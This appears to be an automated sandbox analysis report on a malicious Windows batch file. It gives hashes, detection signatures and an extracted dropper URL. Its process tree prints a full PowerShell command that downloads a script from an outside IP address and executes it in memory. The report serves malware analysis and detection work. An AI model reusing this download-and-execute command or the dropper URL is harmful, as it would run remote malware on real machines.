Analysis
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max time kernel
145s -
max time network
65s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
05-08-2020 09:10
General
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Target
f63307d927f76a7440257534e6f8ce90.bat
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Size
220B
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MD5
5cc2898f29e28db6519da57795c9e09b
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SHA1
415d75288386a5a534fecc039e479a8092f8cdfe
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SHA256
87cfbdd18095373e4e2674283270a2f829cb9d025556397ea5738eec62710ed2
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SHA512
6fc920fda753894ab4ae3c4856d867ee41ea1eb61fdad542fef8c0cd6358008386f6894138ee45775fa11d0581af76172e489faf0aef6fb6bfd30fade4a7a222
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/f63307d927f76a7440257534e6f8ce90
Signatures
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Program crash 1 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious behavior: EnumeratesProcesses 13 IoCs
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ServiceHost packer 5 IoCs
Detects ServiceHost packer used for .NET malware
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Suspicious use of WriteProcessMemory 3 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\f63307d927f76a7440257534e6f8ce90.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/f63307d927f76a7440257534e6f8ce90');Invoke-JFFIICTTYZLYL;Start-Sleep -s 10000"2⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3952 -s 7003⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
4KB
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Filesize
4KB
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